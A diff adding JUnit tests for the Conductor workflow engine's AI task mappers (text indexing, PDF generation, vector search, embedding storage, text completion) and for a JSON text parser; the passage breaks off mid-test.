+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.IndexTextTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.INDEX; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.VECTOR_DB; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class IndexTextTaskMapperTest { + + @Test + public void testTaskMapperValidations() { + // Given + String taskType = "LLM_INDEX_TEXT"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("index_text_task"); + workflowTask.setType(taskType); + String provider = "azure_openai"; + String model = "text-embedding-ada-002"; + String vectorDb = "pineconedb"; + String index = "some-index"; + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + IndexTextTaskMapper indexTextTaskMapper = new IndexTextTaskMapper(); + // Without any input parameters + try { + indexTextTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No provider provided for task null. Please provide it using 'embeddingModelProvider' input parameter", + e.getMessage()); + } + // We add 'embeddingModelProvider' input parameter + Map taskInputs = new HashMap<>(); + taskInputs.put("embeddingModelProvider", provider); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + indexTextTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No model provided for task null. Please provide it using 'embeddingModel' input parameter", + e.getMessage()); + } + + // We add 'embeddingModel' input parameter + taskInputs.put("embeddingModel", model); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + indexTextTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the Integration " + + provider + + ":" + + model, + e.getMessage()); + } + + // Now we use a partially mocked OrkesPermissionEvaluator + indexTextTaskMapper = new IndexTextTaskMapper(); + try { + indexTextTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No Vector database provided. Please provide it using 'vectorDB' input parameter", + e.getMessage()); + } + + // We add 'vectorDB' input parameter + taskInputs.put(VECTOR_DB, vectorDb); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + indexTextTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No index provided. Please provide it using 'index' input parameter", + e.getMessage()); + } + + // We add 'index' input parameter + taskInputs.put(INDEX, index); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + indexTextTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the index " + + index + + " from database " + + vectorDb, + e.getMessage()); + } + + // Finally we use the totally mocked OrkesPermissionEvaluator + indexTextTaskMapper = new IndexTextTaskMapper(); + + List mappedTasks = indexTextTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/PdfGenerationTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/PdfGenerationTaskMapperTest.java new file mode 100644 index 0000000..b90671a --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/PdfGenerationTaskMapperTest.java @@ -0,0 +1,134 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.PdfGenerationTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.jupiter.api.Assertions.*; + +public class PdfGenerationTaskMapperTest { + + @Test + public void testTaskMapperReturnsCorrectTaskType() { + PdfGenerationTaskMapper mapper = new PdfGenerationTaskMapper(); + assertEquals("GENERATE_PDF", mapper.getTaskType()); + } + + @Test + public void testTaskMapperCreatesScheduledTask() { + String taskType = "GENERATE_PDF"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("pdf_generation_task"); + workflowTask.setType(taskType); + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + Map taskInputs = new HashMap<>(); + taskInputs.put("markdown", "# Test Document\n\nHello World"); + taskInputs.put("pageSize", "A4"); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + + PdfGenerationTaskMapper mapper = new PdfGenerationTaskMapper(); + List mappedTasks = mapper.getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + @Test + public void testTaskMapperPreservesInputParameters() { + String taskType = "GENERATE_PDF"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("pdf_task"); + workflowTask.setType(taskType); + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + Map taskInputs = new HashMap<>(); + taskInputs.put("markdown", "# Report"); + taskInputs.put("pageSize", "LETTER"); + taskInputs.put("theme", "compact"); + taskInputs.put("baseFontSize", 12f); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + + PdfGenerationTaskMapper mapper = new PdfGenerationTaskMapper(); + List mappedTasks = mapper.getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + Map inputData = mappedTasks.get(0).getInputData(); + assertEquals("# Report", inputData.get("markdown")); + assertEquals("LETTER", inputData.get("pageSize")); + assertEquals("compact", inputData.get("theme")); + } + + @Test + public void testTaskMapperWithEmptyInputs() { + String taskType = "GENERATE_PDF"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("pdf_task"); + workflowTask.setType(taskType); + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + PdfGenerationTaskMapper mapper = new PdfGenerationTaskMapper(); + List mappedTasks = mapper.getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/SearchIndexTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/SearchIndexTaskMapperTest.java new file mode 100644 index 0000000..e17eceb --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/SearchIndexTaskMapperTest.java @@ -0,0 +1,150 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.SearchIndexTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.INDEX; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.VECTOR_DB; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class SearchIndexTaskMapperTest { + + @Test + public void testTaskMapperValidations() { + // Given + String taskType = "LLM_SEARCH_INDEX"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("search_index_task"); + workflowTask.setType(taskType); + String provider = "azure_openai"; + String model = "text-embedding-ada-002"; + String vectorDb = "pineconedb"; + String index = "some-index"; + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + SearchIndexTaskMapper searchIndexTaskMapper = new SearchIndexTaskMapper(); + // Without any input parameters + try { + searchIndexTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No provider provided. Please provide it using 'embeddingModelProvider' input parameter", + e.getMessage()); + } + // We add 'llmProvider' input parameter + Map taskInputs = new HashMap<>(); + taskInputs.put("embeddingModelProvider", provider); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + searchIndexTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No model name provided. Please provide it using 'embeddingModel' input parameter", + e.getMessage()); + } + + // We add 'embeddingModel' input parameter + taskInputs.put("embeddingModel", model); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + searchIndexTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the Integration " + + provider + + ":" + + model, + e.getMessage()); + } + + // Now we use a partially mocked OrkesPermissionEvaluator + searchIndexTaskMapper = new SearchIndexTaskMapper(); + try { + searchIndexTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No Vector database provided. Please provide it using 'vectorDB' input parameter", + e.getMessage()); + } + + // We add 'vectorDB' input parameter + taskInputs.put(VECTOR_DB, vectorDb); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + searchIndexTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No index provided. Please provide it using 'index' input parameter", + e.getMessage()); + } + + // We add 'index' input parameter + taskInputs.put(INDEX, index); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + searchIndexTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the index " + + index + + " from database " + + vectorDb, + e.getMessage()); + } + + // Finally we use the totally mocked OrkesPermissionEvaluator + searchIndexTaskMapper = new SearchIndexTaskMapper(); + + List mappedTasks = searchIndexTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/StoreEmbeddingsTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/StoreEmbeddingsTaskMapperTest.java new file mode 100644 index 0000000..2a39ee8 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/StoreEmbeddingsTaskMapperTest.java @@ -0,0 +1,127 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.StoreEmbeddingsTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.EMBEDDINGS; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.INDEX; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.VECTOR_DB; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class StoreEmbeddingsTaskMapperTest { + + @Test + public void testTaskMapperValidations() { + // Given + String taskType = "LLM_STORE_EMBEDDINGS"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("store_embeddings_task"); + workflowTask.setType(taskType); + String vectorDb = "pineconedb"; + String index = "some-index"; + List embeddings = List.of(1.0F); + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + StoreEmbeddingsTaskMapper storeEmbeddingsTaskMapper = new StoreEmbeddingsTaskMapper(); + // Without any input parameters + try { + storeEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No Vector database provided. Please provide it using 'vectorDB' input parameter", + e.getMessage()); + } + + // We add 'vectorDB' input parameter + Map taskInputs = new HashMap<>(); + taskInputs.put(VECTOR_DB, vectorDb); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + storeEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No index provided. Please provide it using 'index' input parameter", + e.getMessage()); + } + + // We add 'index' input parameter + taskInputs.put(INDEX, index); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + storeEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No embeddings provided. Please provide them using 'embeddings' input parameter", + e.getMessage()); + } + + // We add 'embeddings' input parameter + taskInputs.put(EMBEDDINGS, embeddings); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + storeEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the index " + + index + + " from database " + + vectorDb, + e.getMessage()); + } + + // Now we use the mocked OrkesPermissionEvaluator + storeEmbeddingsTaskMapper = new StoreEmbeddingsTaskMapper(); + + List mappedTasks = storeEmbeddingsTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mapper/TextCompleteTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mapper/TextCompleteTaskMapperTest.java new file mode 100644 index 0000000..5a24be2 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mapper/TextCompleteTaskMapperTest.java @@ -0,0 +1,143 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.tasks.mapper.TextCompleteTaskMapper; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.LLM_PROVIDER; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.MODEL_NAME; +import static org.conductoross.conductor.ai.tasks.mapper.AIModelTaskMapper.PROMPT_NAME_KEY; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class TextCompleteTaskMapperTest { + + @Test + public void testTaskMapperValidations() { + // Given + String taskType = "LLM_TEXT_COMPLETE"; + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("text_complete_task"); + workflowTask.setType(taskType); + String provider = "azure_openai"; + String model = "gpt-3"; + String promptName = "some-prompt"; + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + getTaskMapperContext(workflow, workflowTask, taskId, null); + + TextCompleteTaskMapper textCompleteTaskMapper = new TextCompleteTaskMapper(); + // Without any input parameters + try { + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No provider provided for task null. Please provide it using 'llmProvider' input parameter", + e.getMessage()); + } + // We add 'llmProvider' input parameter + Map taskInputs = new HashMap<>(); + taskInputs.put(LLM_PROVIDER, provider); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No model provided for task null. Please provide it using 'model' input parameter", + e.getMessage()); + } + + // We add 'model' input parameter + taskInputs.put(MODEL_NAME, model); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have access to the Integration " + + provider + + ":" + + model, + e.getMessage()); + } + + // Now we use the partially mocked OrkesPermissionEvaluator + textCompleteTaskMapper = new TextCompleteTaskMapper(); + try { + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "No promptName provided for task null. Please provide it using 'promptName' input parameter", + e.getMessage()); + } + + // We add 'promptName' input parameter + taskInputs.put(PROMPT_NAME_KEY, promptName); + taskMapperContext = getTaskMapperContext(workflow, workflowTask, taskId, taskInputs); + try { + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals( + "User anonymous does not have EXECUTE permission over prompt: " + promptName, + e.getMessage()); + } + + // We use the fully mocked OrkesPermissionEvaluator + textCompleteTaskMapper = new TextCompleteTaskMapper(); + try { + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + } catch (TerminateWorkflowException e) { + assertEquals("No prompt template found by name '" + promptName + "'", e.getMessage()); + } + + textCompleteTaskMapper.getMappedTasks(taskMapperContext); + + List mappedTasks = textCompleteTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + assertEquals(taskType, mappedTasks.get(0).getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, mappedTasks.get(0).getStatus()); + } + + protected TaskMapperContext getTaskMapperContext( + WorkflowModel workflowModel, + WorkflowTask workflowTask, + String taskId, + Map inputs) { + return TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(inputs != null ? inputs : new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/mcp/JsonTextParserTest.java b/ai/src/test/java/org/conductoross/conductor/ai/mcp/JsonTextParserTest.java new file mode 100644 index 0000000..a3a2c15 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/mcp/JsonTextParserTest.java @@ -0,0 +1,335 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mcp; + +import java.util.List; +import java.util.Map; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.jupiter.api.Assertions.*; + +class JsonTextParserTest { + + private JsonTextParser parser; + private ObjectMapper objectMapper; + + @BeforeEach + void setUp() { + objectMapper = new ObjectMapper(); + parser = new JsonTextParser(objectMapper); + } + + // ========== Valid JSON Object Tests ========== + + @Test + void testParseValidJsonObject() { + String json = "{\"num\":127,\"name\":\"test\"}"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertEquals(127, map.get("num")); + assertEquals("test", map.get("name")); + } + + @Test + void testParseValidJsonObjectWithWhitespace() { + String json = " { \"num\" : 127 } "; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertEquals(127, map.get("num")); + } + + @Test + void testParseEmptyJsonObject() { + String json = "{}"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertTrue(map.isEmpty()); + } + + @Test + void testParseNestedJsonObject() { + String json = "{\"outer\":{\"inner\":\"value\"},\"num\":42}"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + assertInstanceOf(Map.class, map.get("outer")); + assertEquals(42, map.get("num")); + } + + // ========== Valid JSON Array Tests ========== + + @Test + void testParseValidJsonArray() { + String json = "[1,2,3,\"test\"]"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(List.class, result); + List list = (List) result; + assertEquals(4, list.size()); + assertEquals(1, list.get(0)); + assertEquals("test", list.get(3)); + } + + @Test + void testParseEmptyJsonArray() { + String json = "[]"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(List.class, result); + List list = (List) result; + assertTrue(list.isEmpty()); + } + + @Test + void testParseNestedJsonArray() { + String json = "[[1,2],[3,4]]"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(List.class, result); + List list = (List) result; + assertEquals(2, list.size()); + assertInstanceOf(List.class, list.get(0)); + } + + // ========== Primitive JSON Values Tests ========== + // Note: The implementation only parses JSON objects and arrays. + // Standalone primitives are returned as strings, which is correct for MCP use + // case. + + @Test + void testParseJsonString() { + String json = "\"hello world\""; + Object result = parser.parseTextOrJsonAsObject(json); + + // Primitives are returned as-is (not parsed) + assertInstanceOf(String.class, result); + assertEquals(json, result); + } + + @Test + void testParseJsonNumber() { + String json = "12345"; + Object result = parser.parseTextOrJsonAsObject(json); + + // Primitives are returned as-is (not parsed) + assertInstanceOf(String.class, result); + assertEquals(json, result); + } + + @Test + void testParseJsonBoolean() { + String jsonTrue = "true"; + Object resultTrue = parser.parseTextOrJsonAsObject(jsonTrue); + // Primitives are returned as-is (not parsed) + assertInstanceOf(String.class, resultTrue); + assertEquals(jsonTrue, resultTrue); + + String jsonFalse = "false"; + Object resultFalse = parser.parseTextOrJsonAsObject(jsonFalse); + assertInstanceOf(String.class, resultFalse); + assertEquals(jsonFalse, resultFalse); + } + + @Test + void testParseJsonNull() { + String json = "null"; + Object result = parser.parseTextOrJsonAsObject(json); + // Standalone null is returned as string "null" + assertInstanceOf(String.class, result); + assertEquals(json, result); + } + + // ========== Invalid JSON / Plain Text Tests ========== + + @Test + void testParsePlainText() { + String text = "This is just plain text"; + Object result = parser.parseTextOrJsonAsObject(text); + + assertInstanceOf(String.class, result); + assertEquals(text, result); + } + + @Test + void testParseInvalidJson() { + String invalidJson = "{invalid json}"; + Object result = parser.parseTextOrJsonAsObject(invalidJson); + + assertInstanceOf(String.class, result); + assertEquals(invalidJson, result); + } + + @Test + void testParseIncompleteJson() { + String incompleteJson = "{\"num\":127"; + Object result = parser.parseTextOrJsonAsObject(incompleteJson); + + assertInstanceOf(String.class, result); + assertEquals(incompleteJson, result); + } + + @Test + void testParseJsonWithTrailingComma() { + String jsonWithTrailingComma = "{\"num\":127,}"; + Object result = parser.parseTextOrJsonAsObject(jsonWithTrailingComma); + + // Jackson is lenient by default, but if this fails, it should return the string + // This behavior depends on ObjectMapper configuration + assertNotNull(result); + } + + // ========== Null and Empty Tests ========== + + @Test + void testParseNullInput() { + Object result = parser.parseTextOrJsonAsObject(null); + // Null input returns empty string + assertInstanceOf(String.class, result); + assertEquals("", result); + } + + @Test + void testParseEmptyString() { + String empty = ""; + Object result = parser.parseTextOrJsonAsObject(empty); + + assertInstanceOf(String.class, result); + assertEquals(empty, result); + } + + @Test + void testParseWhitespaceOnly() { + String whitespace = " \t\n "; + Object result = parser.parseTextOrJsonAsObject(whitespace); + + assertInstanceOf(String.class, result); + assertEquals(whitespace, result); + } + + // ========== Special Characters Tests ========== + + @Test + void testParseJsonWithEscapedCharacters() { + String json = "{\"text\":\"Line1\\nLine2\\tTabbed\"}"; + Object result = parser.parseTextOrJsonAsObject(json); + + assertInstanceOf(Map.class, result); + Map map = (Map) result; + // After JSON parsing, escaped characters are actual characters + String text = (String) map.get("text"); + assertTrue(text.contains("Line1")); + assertTrue(text.contains("Line2")); + } + + @Test + void testParseJsonWithUnicodeCharacters() { + String json = 